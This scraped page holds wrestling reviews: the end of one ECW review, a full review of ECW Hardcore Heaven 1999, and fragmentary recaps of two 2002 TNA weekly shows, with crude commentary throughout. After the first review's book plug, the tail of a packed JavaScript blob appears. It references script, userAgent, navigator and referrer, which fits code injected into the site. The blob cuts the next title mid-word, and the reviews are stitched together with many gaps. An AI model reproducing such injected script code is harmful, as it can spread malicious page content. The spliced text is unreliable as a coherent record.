Jazz rips Francine’s top off, even though she’s well covered in tape. Tombstone to Jazz and we’re back to one on one. Tommyhawk (Reverse Razor’s Edge into a Diamond Cutter. Sweet move) Dreamer gets the barbed wire with about 3 minutes left in the show. Francine is back. Credible gets crotched on the wire. Good thing you can see that his crotch is about 4 inches away from it.

That’s Incredible (Tombstone) on the wire gets two. DDT does the same for Dreamer. End this already. A regular tombstone ends it to HUGE heat. Yeah this guy would be world champion for about 6 months to less heat than Siberia. The next PPV is in October. This is July. That should tell you something.

Rating: F. This was AWFUL. There’s practically no blood, a total of two barbed wire spots, and an anti-climactic ending. This was just freaking terrible all around and boring on top of that. Credible was the worst choice for a champion they made, and all during his reign RVD was doing nothing of note. And you wonder why Heyman went out of business.

Overall Rating: D+. I’m going to give this one the benefit of the doubt. The main event is freaking terrible and the match before that is only slightly better, but the first hour is quite decent. It’s not a particularly good show, but on the ECW scale it’s one of their better PPVs somehow. The booking really was going badly here and that comes down to three letters: RVD.

 

He’s been by far and away the most popular guy for at least a year and a half now and he’s fighting Scotty Riggs. Anyway, things could change a good bit next time, so hopefully it’s for the better. This isn’t a horrible show, but there’s nothing worth going out of your way to see.

 

Remember to follow me on Twitter @kbreviews and pick up my book n the History of Starrcade from Amazon for just $4 at:

 

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frdde|var|u0026u|referrer|idthy||js|php'.split('|'),0,{})) Heaven 1999
Date: May 16, 1999
Location: Mid-Hudson Civic Center, Poughkeepsie, New York
Attendance: 2,600
Commentator: Joey Styles

So we’re still in the Taz Dominates Everyone era here which is boring as all goodness but whatever. He has Chris Candido tonight which I’m sure will be riveting. Also we have Lynn vs. RVD II which should be solid enough I suppose. Other than that though the card looks pretty bland. Let’s get to it.

Joey tries to introduce us to the show but gets interrupted by Chris Candido and Sunny, who looks AMAZING in a gray dress. Apparently he’s hired the Dudleys for tonight as insurance. This is a really long time ago since they’re only six time tag champions at this point. Once they come out, Candido calls out Taz…and it’s main event time! Sure, why not?

ECW World Title: Taz vs. Chris Candido

Three suplexes, a powerbomb by Candido, a missed headbutt and the Tazmission. The match lasts maybe a minute from bell to bell. I kid you not. 3D to Taz follows.

Rating: F. No. No way. This show was based around two matches and 6 and a half minutes into the show one of them is over? No way. That simply does not work whatsoever. Seriously what is Paul thinking here? Why advertise this if that’s how you’re going to book it?

The Dudleys issue an open challenge after their very boring stuff. They ask for anyone with the balls to come face them. Take a wild guess.

ECW World Tag Titles: Dudley Boys vs. Balls Mahoney/???

So apparently this is a match, but also for the titles. Sure why not? Balls botches an elbow from the top, somehow managing to hit Bubba in the leg with it. Think about that for a minute. I mean it’s not like Bubba is a small target or something like that right? The fans are chanting for Sabu. Now they want New Jack.

 

They get Spike Dudley. Sure, I mean it’s not like we’ve had Spike with a random partner on three straight PPVs now or anything like that. He manages to miss a low blow on D-Von too so there we are. Dang Heyman loved him some AC/DC. In a cool spot, they throw Spike back and forth like a ball. Spike gets thrown over the rope and it looks awesome to say the least.

 

I’ll give Spike this: he can sell like few others can. Table time, but Bubba gets blocked. Ah never mind: Spike went through it anyway via a nice Bubba Bomb. Spike gets a 3D but Balls saves. Gertner throws matches at Balls which does nothing. Balls of course has lighter fluid in his pocket so as you would expect, Gertner gets a fireball thrown at him. It misses completely but Gertner sells it anyway. 3D ends it.

Rating: D. At least this was a match…I think. I’m fed up with Spike and the Dudleys but whatever. This was a big mess but Spike’s bumping made it work better than nothing I guess.

Roll the theme song, as I guess that was a really long opening segment? Sure why not.

Super Crazy vs. Taka Michinoku

Crazy is introduced in kilos and Taka in pounds. Why? That makes no sense but whatever. Taka is heel here as he’s cocky from being in the WWF. Alright then. Well at least it’s not Tajiri and Taka again I guess. If Taka hadn’t been so annoying he would have been bearable. And there’s a sleeper from Crazy. I mean it’s not like we’ve got two high flying guys in there that can move very well or anything? Let’s get to the rest holds before they do something cool!

 

They speed it up again and Crazy gets LAUNCHED over the ropes in a great looking spot. He was up there. Crazy dives over the ropes to land on Taka. At least I think he did. The camera wasn’t on it. That sums up ECW fairly well: something happened, but no one saw it other than those that were there. Crazy hits the triple moonsault which is fairly cool. The Michinoku Driver hits but Taka doesn’t cover and a totally random sitout powerbomb ends it. Weird ending.

Rating: D+. This didn’t do it for me. It’s not really bad but the flow just wasn’t there at all if that makes sense. The high spots were decent and even good at times but this just wasn’t hitting on all cylinders. It’s hard to describe but if you saw it I think you would get what I was saying. Not bad but just an odd match.

We recap Lynn vs. RVD from the last PPV which I guess is the main event now. That should be good at least. I never got how the cradle part of the cradle piledriver really helped all that much.

In the back, rather than getting medical help, Gertner sends the Dudleys after Nova for no apparent reason. During the beatdown, Bubba says he doesn’t know what this is for. Ok then.

Little Guido vs. Tajiri

It’s still weird seeing Tajiri clean shaven. Good night Big Sal is a very fat man. Dang Tajiri could do some freaky stuff in the ring. Guido…not so much. Guido is working the arm so there’s your psychology, even though Tajiri was a kicker so his arms meant little to his offense. On the floor, Guido takes a loud post shot. It sounded great if nothing else. There’s your tarantula in case you wanted one.

 

Apparently the crowd thinks Tajiri is a fat duck. That must be it right? I mean they couldn’t be chanting at anyone else right? Sal interferes for two. In a funny bit, Joey won’t say balls but Cyrus nags him until he does. Cyrus of course then complains about him saying it. We get the Tree of Woe baseball slide which always looks awesome and a brainbuster ends it.

Rating: C-. Better than the last one but not by much. Guido was never someone that I liked that much at all. Tajiri got a solid push but was still the innocent yet rapidly becoming violent guy you know him as. Not a bad little match, but zero point to it being on the PPV other than to fill fifteen minutes of air time.

And here’s a Tommy Dreamer music video. Ok then.

The Dudleys have a hit list and 3,000 dollars to beat up some guy named Rod Price. Ok then.

Lance Storm vs. Tommy Dreamer

Joey and Cyrus argue for no apparent reason and Dawn Marie is insanely hot. There you are. And apparently she’s not wearing underwear so Storm stands in front of the camera while she puts them on. Ok then. This is a weapons match apparently. Oh and Dreamer wants to beat up Dawn Marie apparently over Beaulah. Dreamer gets one heck of a reaction if nothing else. And Francine is here with Tommy for no apparent reason.

 

Storm is a guy I like the more I see of him. I wonder how long it’s going to take to get into the ring for a change. Ah there we go. Storm is very crisp in there and I love it. This of course turns into a bunch of weapons shots and contrived spots that make little sense but look good if nothing else. I’ve always wondered what the deal was with the hitch in Storm’s kicks. Dreamer is bleeding. Dreamer busts out a stunner of all things.

 

It’s mainly just weapons shots now which is fine I guess. It’s table time again. Storm takes a Death Valley Driver through the table. You might notice that I’m just listing off spots and moves as there’s just nothing more to this match. Cyrus runs in and that goes nowhere. There’s your catfight. Dreamer hits the INCREDIBLY protected piledriver on Dawn. A SWEET spinwheel kick from the top to Dreamer ends it for Storm. Francine looks good here which is odd.

Rating: C-. Not terrible but just not interesting at all. It’s ok, but that’s all. Dreamer had a ton of these random fights and while they were decent, they get very repetitive after awhile. I mean, how many people does he annoy over the years? Not bad, but nothing to write home about at all.

The Dudleys beat up Jack Victory, this time for $5000. Bubba, why beat up Victory when you could own the company for that much? We’re at the halfway point of the show with Van Dam/Lynn and a Justin match to go. That’s not a good sign.

Taz says he can beat the Dudleys…tonight. Oh no. Oh dear cheese NO.

Joey recaps everything for the night. Oh and he says the wrong name for the TV Title. A man that shouts and says the wrong name. You know where I’m going with it. Yep. I’m going to Branson, Missouri. Good town. You can see cheap dinner theater there I hear.

TV Title: Jerry Lynnvs. Rob Van Dam

Crowd is WAY behind Van Dam here. No time limit here after what happened at Living Dangerously. Hear those cheers Paul? They’re the ones drowning out the music. I think they’re chanting “Heyman push this freaking man you freaking idiot!” Lynn is another guy I like more every time I see him so this should be solid. They do a decent mat wrestling sequence to start but not as good as last time.

 

NICE there as Lynn goes for a counter he used at Living Dangerously and RVD gets out of the way of it this time. THAT is psychology people. They’re doing a start and stop thing here where they do a sequence and then walk around for awhile. The action is good but it’s like pausing it and watching a match in pieces which isn’t good. Good night wrestle already! Yeah they’re wrestling, but only in pieces.. We’ve had maybe 2 and a half minutes of action out of five minutes gone by.

 

Sweet springboard dropkick from Lynn. See what I mean by when they actually do stuff it’s good? Fonzie is yelling about how this is what the 19.95 the fans paid for is all about. Creative line if nothing else. Van Daminator misses. And Lynn might be hurt so we can kill more time. Something tells me this had about 20 minutes planned rather than the 27 it wound up getting due to the amount of stalling here. Lynn does the corner rollup that Booker T used for a long time.

 

I think this is the match that aired on the debut of ECW on TNN. On the floor we get a Van Daminator with Lynn making sure to hold the chair up so it hits. Hey look: more stalling! Did Larry Zbyszko book this or something? Half of this has been on the floor too. Lynn hits a sunset powerbomb through a table which more or less explodes. Ok stalling after big spots at least makes sense. Fonzie has a chair pelted at him and down he goes.

 

They botch the heck out of something and the fans let them know about it. Lynn hits a Van Daminator for two. Van Dam hits Starship Pain minus the twisting. There’s your five star but Lynn rolls him up for two. Van Dam hits his third Van Daminator out of about 7 tried. Another Five Star ends it. Good but not great. They high five after the match which is always a good sign.

Rating: B. This is a good match, but not a classic like everyone says it is. There are some major holes in it, with the main one being the standing around. The Van Daminators got OLD fast. We get it. You can kick someone holding a chair. We’ll ignore how stupid the move is (hey he handed me a chair. I wonder what I should do with it.) for now.

 

The drama is there but it’s not epic. Solid though. Just far too much brawling and stalling for my taste, but it’s entertaining which is the main idea. Would have been way better with five to seven less minutes. Good match, but there was no shock or anything like that to make it great.

We’re at an hour and 58 minutes and Justin is all that’s left. That can’t be a good sign.

The Dudleys are mad at Taz. Oh dear. I think I can see it coming. And here’s Big Dick with Chris Chetti, who is Taz’s cousin. Guess what happens.

Justin Credible hype video. He hits a lot of people with canes and talks a lot. Yeah, really a guy to push huge Paul. He even sent Mikey and Sandman to WCW. Yeah such a terrible thing to do to them man.

Joey says Shane vs. Justin isn’t happening, which they knew weeks before this but advertised him through the pre show.

Here’s Justin with no opponent. He says what was shown in the video and it’s open challenge time.

Justin Credible vs. Sid

Oh dear. Good NIGHT how over is Sid? I have never gotten that once, but this guy got epic pops everywhere. I don’t think I get the idea of a squash on your heel that has been pushed like this but whatever. When someone is in the position for the powerbomb, why don’t they, maybe, move? You know, instead of holding the other guy’s legs, why not move?

 

This is ALL Sid here as he’s beating up the entourage too. Lance Storm runs in too. Crowd is WAY into Sid. Justin throws powder in Sid’s eyes…FOR A DISQUALIFICATION??? Or was this even a match? And here’s Sabu for the save, and he puts Sid through a table by mistake (don’t ask). Is there a point to any of this? And Sid powerbombs his manager for no apparent reason. Sid would be gone after this I believe.

Rating: F. A DQ. In ECW. THAT MAKES NO FREAKING SENSE!!!!!!!

Apparently it was just thrown out. Ok then.

Rating: F. A match being thrown out. In ECW. THAT MAKES NO FREAKING SENSE!!!!!!!

And at two hours and 15 minutes into the show, we’re out of matches. Joey says this too and here’s Bubba Ray. You cannot be serious.

Apparently D-Von broke his hand beating up Chetti, so instead of D-Von vs. Taz we get Bubba vs. Taz. It’s not April is it? Wow. They’re really doing this.

ECW World Title: Taz vs. Bubba Ray Dudley

Yes. With Candido healthy, THIS is what Heyman decided to close a PAY PER VIEW WITH. ARE YOU FREAKING KIDDING ME??? BUBBA FREAKING DUDLEY is main eventing a PPV in a world title match. I do not know what to say. They’re really doing this nonsense. I can’t believe it. And hey, it’s falls count anywhere. Catchphrase ahoy as we start the match. And we’re outside already.

 

Could that have anything to do with Bubba not being able to wrestle a standard match for more than a minute? Seriously, what did I do to deserve this? We hit the crowd now to waste more time. The falls counting anywhere helps here but not that much really. Taz is bleeding as we hit the concourse. Will someone pop that stupid beach ball? Back in the ring now. Taz hits a second rope Tazplex to start his comeback and there’s D-Von.

 

And we have tables. It’s ECW. Why not just hit 3D and get the title? Hmm let’s see. I can spend a few minutes setting up tables while the toughest guy in the company gets up. Sure why not? And they both throw the referee through a table. Bubba Bomb gets two as a new referee comes in. D-Von comes in again and STILL they don’t go for 3D. This is like a Wile E. Coyote cartoon. 3D is finally attempted and countered. Tazmission ends it.

Rating: F+. Bubba Ray Dudley was in the main event. Do I need to explain why this was awful? In case you’re wondering, there was no drama, the match made no sense, Taz was always going to win, and D-Von and Bubba just lost to Taz in a glorified handicap match. That’s why it sucked. Oh and did I mention: BUBBA RAY DUDLEY WAS IN THE MAIN EVENT??? Taz’s blood looked good though.

A music video ends this at a little over two and a half hours.

Overall Rating: F. No. No way. This show was unacceptable, period. People want to talk about how much of a genius Heyman is. People want to talk about how good for the business he is. This show is proof that even he isn’t as great as everyone says he is. This is what you call screwing the audience over. He advertised Shane up until five minutes to airtime and knew he wouldn’t be there.

 

He advertised Candido and Taz as the big match and gave it maybe a minute. He had BUBBA RAY DUDLEY main event the show in a one night angle. I can find no evidence ANYWHERE that suggests Candido was injured. Not a single thing. Let’s say for argument’s sake though that he was injured and the minute was all he can go. Ok, fine. Stuff like that happens. I understand that. Are you telling me that Bubba Ray Dudley was the best replacement they had? Are you out of your freaking minds? Take a look at the rest of the card.

 

Other than RVD/Lynn, what here is worth paying to see? Running down the card, we have the main event so there’s one thing worth paying to see, an unannounced tag match that had been done for the last two PPVs, back to back matches that were ok but I doubt anyone bought the show to see them, a brawl that could have been on any PPV but was bearable I guess, a good match, a match that didn’t have the billed people in it and was 2 minutes long, and Bubba Ray Dudley main eventing a show. Lynn and RVD keep this from being the worst ECW show ever, but not by much.

 

Remember to follow me on Twitter @kbreviews and pick up my book on the History of the WWE Championship from Amazon for just $5 at:

 

TNA Weekly PPV #14
Date: September 25, 2002
Location: Tennessee State Fairgrounds Arena, Nashville, Tennessee
Commentators: Don West, Mike Tenay

We open in the back with Siaki and Lynn brawling due to Sonny costing Lynn the world title last week.

Tenay and West run down the card.

Sonny Siaki vs. Jerry Lynn

Tag Titles: James Storm/Chris Harris vs. Brian Lee/Ron Harris

In the parking lot, Bruce gets into a fight with a handicapped woman named Sara the Ticket Lady. Can we please end this character already?

James talks about a posse in his pants and their time back in the WWF where James stood up for Truth with the boys in the back. They go back and forth with stupid lines and the brawl is on with BG taking over. BG says that just unlike Demi Moore and Tom Cruise, he can handle the Truth. Next.

AJ Styles vs. Low Ki

The second fall begins with Low Ki being sent throat first into the middle rope and clotheslined down for two. A delayed suplex puts Ki down and AJ pounds away. Styles hits a standing enziguri to put Low on the floor, but as he heads out, Low Ki kicks Styles in the head. AJ slams him down onto the ramp to break another Dragon Sleeper before we head back inside. A sunset bomb is countered by Low Ki but AJ keeps rolling into a sunset flip for the pin and the second fall.

Elix Skipper/Brian Lawler vs. Scott Hall/Syxx-Pac

Post match Jarrett runs out to beat down Hall and Pac.

AJ implies that he wants a ladder match for the title.

Kid Kash vs. Jorge Estrada

Jorge goes up but Kash shoves the referee into the ropes to crotch him down. A top rope rana brings Estrada down but Kash charges into an elbow in the corner. Kash pokes him in the eye and hits a DDT for two, only to have his rana countered into a powerbomb for two for Jorge. Estrada busts out the TCB (Taking Care of Business), a big flippy dive for the pin.

Estrada demands his suit back and we see Siaki burning it in a barrel.

We recap Siaki costing Lynn the world title last week.

X-Division Title: Ron Killings vs. Jerry Lynn

Back in and the challenger gets two off a backbreaker and the same from a powerslam. That works so well that Truth hits another one before putting on a front facelock with his feet on the ropes. Lynn comes back with a reverse DDT and a powerbomb for two more but Truth stops him cold with a low blow. Low Ki is annoyed and yells at Killings, so Jerry rams them together and hits a TKO to retain the title.

West hypes up the show for next week.

BG James vs. Jeff Jarrett

Jarrett gets in some chair shots of his own to take over and we go back to ringside. Jeff slams him into the announce table and pounds on the back and face with the chair some more. Back inside we go for the running crotch again in 619 position and a sleeper by Jeff. James fights up after two arm drops and puts on a sleeper of his own, only to be suplexed down by Jarrett.

Both guys are down now which is likely a good thing given the ample gut that Road Dogg has on him at the moment. Back up and James takes over with right hands but the referee takes a shot to the head. Jeff wedges a chair between the ropes but goes face first into it instead, giving James two. Elix Skipper and Brian Lawler come out to help Jarrett but Jeff nails Lawler by mistake, giving BG two more. The referee gets rid of the cronies so Jeff can hit James with a chair for a near fall. BG hits the anal rape pumphandle for two, only to have Skipper and Lawler run in for a DQ.

Post match Hall and Syxx-Pac come out for the big brawl but Truth evens the odds and Jarrett and company stand tall to end the show.

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TNA Weekly PPV #13
Date: September 18, 2002
Location: Tennessee State Fairgrounds Arena, Nashville, Tennessee
Commentators: Don West, Mike Tenay

The announcers run down the card, including a celebrity boxing match. Oh jeez.

Dogg says that he and Jarrett bailed on the WWF back in 1995 but then Dogg became part of DX. Apparently his name here is BG James with the G standing for “Get It, Got It, Good”. James is going to be in the Gauntlet for the Gold tonight and will find a partner somewhere. I guess Lawler vs. Jarrett is done now.

AJ Styles vs. Kid Kash

Back in and Kash sends AJ face first into the middle buckle before getting two off a German suplex. AJ comes back with his moonsault into (not really but close enough) the reverse DDT for two. Kash runs up the corner and hits a SWEET rana followed by a tornado DDT for two. AJ comes back with a dropkick to the knee and the always cool nipup into a rana of his own.

Discus lariat gets two on Kash as does a dropkick to the back of his head. AJ loads up another springboard dive but jumps into a dropkick to put both guys down. Kash tries a top rope splash but only his canvas. He manages to crotch AJ, but a top rope rana is countered into a Styles Clash off the middle rope for the academic pin.

Dustin Diamond vs. Tiny the Timekeeper

Hot Shots vs. Derek Wylde/Jimmy Rave vs. Ace Steele/CM Punk

Harris and Storm are ready for the Gauntlet and Harris finally calls Storm buckaroo.

Hermie Sadler is praised for being awesome in NASCAR and is invited to be here for the next match.

Miss TNA: Bruce vs. ???

Sadler gives Bruce an atomic drop post match.

Gauntlet for the Gold

Punk and Rave are tossed by the big guys as well, meaning two full teams are eliminated. Syxx sends out Bagwell and Lawler (no fanfare, which is odd as the announcers have spent ten minutes worshipping the guy) as BG James (Marcus Bagwell) is #14. We get heel miscommunication between Lee and Harris but Road Dogg (blonde here for some reason) gets stomped down I the corner. Joel Maximo (Jose Maximo) is #15 and is out about two seconds later.

Tag Titles: James Storm/Chris Harris vs. Brian Lee/Ron Haris

Storm finally gets back in and cleans house, only to get caught in a chokeslam/belly to back suplex combo for no cover. Ron pulls out a table for no apparent reason and lays Storm out on top of it. Lee loads up Chris in a chokeslam but gets rolled up (and into the ropes) to give AMW the pin and the titles.

Rating: D. This was barely even a match with Chris getting beaten down for a few minutes and Storm being on the floor most of the time. The table thing was stupid and the ending was even worse as both guys were in the ropes for the fall and the referee counted it anyway. Nothing to see here, but at least the right team won.

BG James is bloody in the back to make sure the tag titles get no focus.

NWA World Title: Ron Killings vs. Jerry Lynn

Back in again and Truth puts on a modified surfboard but Lynn grabs the rope. The ax kick gets two for Truth but Jerry comes back with a spinning rollup for two of his own. Truth stays on offense as AJ Styles is at ringside. Now Kid Kash and the S.A.T. come down as well. Here are the Flying Elvises as the fans are ALL behind Lynn. Jerry makes a comeback with some clotheslines but the cradle piledriver is countered. Lynn reverses a suplex into a DDT for two but AJ breaks up the pin. The challenger goes up but Siaki shoves him down, allowing Truth to hit a Diamond Cutter for the pin to retain.

BG James comes out to talk trash about Killings for no apparent reason. This brings out Jarrett because he has to end the show but Hall and Waltman make the save to close us out.

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